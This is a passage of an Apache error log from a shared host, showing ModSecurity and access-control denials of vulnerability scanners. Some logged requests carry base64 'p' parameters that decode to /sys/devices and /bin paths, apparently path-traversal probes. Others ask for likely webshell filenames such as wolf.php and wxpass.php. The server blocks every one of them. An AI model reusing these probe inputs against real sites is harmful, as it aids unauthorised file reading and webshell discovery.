https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvZGV2aWNlL2V2ZW50My9zdWJzeXN0ZW0vaW5wdXQ3L2lk [Sat Jun 13 18:10:40.668852 2026] [access_compat:error] [pid 531155:tid 531245] [remote 57.141.14.59:58303] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:40.669223 2026] [access_compat:error] [pid 531155:tid 531245] [remote 57.141.14.59:58303] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:40.691556 2026] [security2:error] [pid 531797:tid 531978] [remote 17.22.245.32:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 32.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xgMTA7b1mZrmcA-8moAACWXE"] [Sat Jun 13 18:10:40.706881 2026] [access_compat:error] [pid 531797:tid 531884] [remote 57.141.14.63:53698] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:40.707145 2026] [access_compat:error] [pid 531797:tid 531884] [remote 57.141.14.63:53698] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:40.717323 2026] [security2:error] [pid 531155:tid 531369] [client 20.151.217.54:57526] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "williamsflying.paintyourplane.com"] [uri "/wolf.php"] [unique_id "ai3xgCmiP80klyS0Nnr4kwAAAV4"] [Sat Jun 13 18:10:40.779498 2026] [security2:error] [pid 531797:tid 532015] [client 191.234.188.123:48104] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/6.php"] [unique_id "ai3xgMTA7b1mZrmcA-8mpwAAAic"] [Sat Jun 13 18:10:40.872416 2026] [security2:error] [pid 531797:tid 532097] [client 172.171.3.232:48104] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mcips.co.uk"] [uri "/jatuh.php"] [unique_id "ai3xgMTA7b1mZrmcA-8mqgAAAnY"] [Sat Jun 13 18:10:40.945808 2026] [security2:error] [pid 531797:tid 531919] [remote 17.22.245.74:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 74.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xgMTA7b1mZrmcA-8mrAACTDc"] [Sat Jun 13 18:10:41.099378 2026] [access_compat:error] [pid 531155:tid 531275] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:10:41.099856 2026] [access_compat:error] [pid 531155:tid 531275] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:10:41.131367 2026] [access_compat:error] [pid 531797:tid 531932] [remote 57.141.14.12:47444] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:41.131430 2026] [security2:error] [pid 531797:tid 531930] [remote 17.241.75.74:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 74.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xgcTA7b1mZrmcA-8msAACe0I"] [Sat Jun 13 18:10:41.131750 2026] [access_compat:error] [pid 531797:tid 531932] [remote 57.141.14.12:47444] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:41.385912 2026] [security2:error] [pid 531797:tid 532077] [client 20.9.67.71:36175] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mujermag.com.todadata.com"] [uri "/asu.php"] [unique_id "ai3xgcTA7b1mZrmcA-8mtwAAAmM"] [Sat Jun 13 18:10:41.394690 2026] [security2:error] [pid 531797:tid 531948] [remote 17.241.75.208:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 208.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xgcTA7b1mZrmcA-8mtgACN1Q"] [Sat Jun 13 18:10:41.495451 2026] [access_compat:error] [pid 531797:tid 531933] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:10:41.495946 2026] [access_compat:error] [pid 531797:tid 531933] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:10:41.529893 2026] [access_compat:error] [pid 531797:tid 531954] [remote 57.141.14.18:30568] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:41.530370 2026] [access_compat:error] [pid 531797:tid 531954] [remote 57.141.14.18:30568] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:41.570941 2026] [access_compat:error] [pid 531155:tid 531283] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQ2L3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:10:41.571381 2026] [access_compat:error] [pid 531155:tid 531283] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQ2L3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:10:41.625174 2026] [access_compat:error] [pid 531797:tid 531963] [remote 57.141.14.18:30572] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:41.625629 2026] [access_compat:error] [pid 531797:tid 531963] [remote 57.141.14.18:30572] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:41.647330 2026] [access_compat:error] [pid 531155:tid 531232] [remote 216.73.216.182:42756] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:41.647664 2026] [access_compat:error] [pid 531155:tid 531232] [remote 216.73.216.182:42756] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:41.901541 2026] [access_compat:error] [pid 531155:tid 531241] [remote 57.141.14.42:34566] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:41.901826 2026] [access_compat:error] [pid 531155:tid 531241] [remote 57.141.14.42:34566] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:42.055561 2026] [access_compat:error] [pid 531155:tid 531192] [remote 57.141.14.30:60058] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:42.055997 2026] [access_compat:error] [pid 531155:tid 531192] [remote 57.141.14.30:60058] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:42.105983 2026] [access_compat:error] [pid 531155:tid 531267] [remote 57.141.14.56:47728] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:42.106346 2026] [access_compat:error] [pid 531155:tid 531267] [remote 57.141.14.56:47728] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:42.107700 2026] [security2:error] [pid 531155:tid 531298] [client 191.234.188.123:63930] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/wxpass.php"] [unique_id "ai3xgimiP80klyS0Nnr4sgAAARc"] [Sat Jun 13 18:10:42.169862 2026] [access_compat:error] [pid 531155:tid 531256] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvZGV2aWNlL2RldmljZS9zdWJzeXN0ZW0vZGV2aWNlcy9QTlAwQzBGOjA3 [Sat Jun 13 18:10:42.170257 2026] [access_compat:error] [pid 531155:tid 531256] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvZGV2aWNlL2RldmljZS9zdWJzeXN0ZW0vZGV2aWNlcy9QTlAwQzBGOjA3 [Sat Jun 13 18:10:42.246171 2026] [security2:error] [pid 531797:tid 532076] [client 20.9.67.71:36166] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mujermag.com.todadata.com"] [uri "/wolf.php"] [unique_id "ai3xgsTA7b1mZrmcA-8mygAAAmI"] [Sat Jun 13 18:10:42.258465 2026] [security2:error] [pid 531155:tid 531176] [remote 17.246.23.226:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 226.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xgimiP80klyS0Nnr4twABShQ"] [Sat Jun 13 18:10:42.683128 2026] [access_compat:error] [pid 531155:tid 531269] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vbW91c2UwL2RldmljZS9ldmVudDMvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:10:42.683568 2026] [access_compat:error] [pid 531155:tid 531269] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vbW91c2UwL2RldmljZS9ldmVudDMvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:10:42.696541 2026] [security2:error] [pid 531155:tid 531273] [remote 17.246.15.111:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 111.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xgimiP80klyS0Nnr4vwABb3U"] [Sat Jun 13 18:10:42.714800 2026] [security2:error] [pid 531797:tid 532111] [client 20.9.67.71:36198] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mujermag.com.todadata.com"] [uri "/rum.php"] [unique_id "ai3xgsTA7b1mZrmcA-8m2AAAAoQ"] [Sat Jun 13 18:10:42.783225 2026] [security2:error] [pid 531797:tid 532059] [client 20.151.217.54:9429] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "hairofsheba.com"] [uri "/cakr3xr4.php"] [unique_id "ai3xgsTA7b1mZrmcA-8m2gAAAlE"] [Sat Jun 13 18:10:42.847531 2026] [access_compat:error] [pid 531797:tid 531868] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:10:42.847838 2026] [access_compat:error] [pid 531797:tid 531868] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:10:42.972141 2026] [security2:error] [pid 531797:tid 532047] [client 20.9.67.71:36209] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mujermag.com.todadata.com"] [uri "/cxl.php"] [unique_id "ai3xgsTA7b1mZrmcA-8m4AAAAkU"] [Sat Jun 13 18:10:42.979598 2026] [security2:error] [pid 531797:tid 531955] [remote 17.22.245.73:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 73.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xgsTA7b1mZrmcA-8m4QACL1s"] [Sat Jun 13 18:10:43.180465 2026] [access_compat:error] [pid 531155:tid 531211] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9pbnB1dDEvaWQ= [Sat Jun 13 18:10:43.180926 2026] [access_compat:error] [pid 531155:tid 531211] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9pbnB1dDEvaWQ= [Sat Jun 13 18:10:43.294433 2026] [security2:error] [pid 531155:tid 531280] [remote 17.241.219.179:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xgymiP80klyS0Nnr4zwABbHw"] [Sat Jun 13 18:10:43.320658 2026] [security2:error] [pid 531797:tid 532002] [client 20.9.67.71:36114] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mujermag.com.todadata.com"] [uri "/flox.php"] [unique_id "ai3xg8TA7b1mZrmcA-8m8gAAAho"] [Sat Jun 13 18:10:43.413246 2026] [access_compat:error] [pid 531155:tid 531157] [remote 57.141.14.27:44494] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:43.413527 2026] [access_compat:error] [pid 531155:tid 531157] [remote 57.141.14.27:44494] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:43.615885 2026] [security2:error] [pid 531155:tid 531370] [client 20.151.217.54:9367] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "hairofsheba.com"] [uri "/yoy123.php"] [unique_id "ai3xgymiP80klyS0Nnr42QAAAV8"] [Sat Jun 13 18:10:43.624606 2026] [security2:error] [pid 531797:tid 531999] [client 216.73.217.70:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 70.217.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/tokenizer/tests/token_get_all_error.phpt"] [unique_id "ai3xg8TA7b1mZrmcA-8m_gAAAhc"] [Sat Jun 13 18:10:43.695799 2026] [access_compat:error] [pid 531155:tid 531279] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 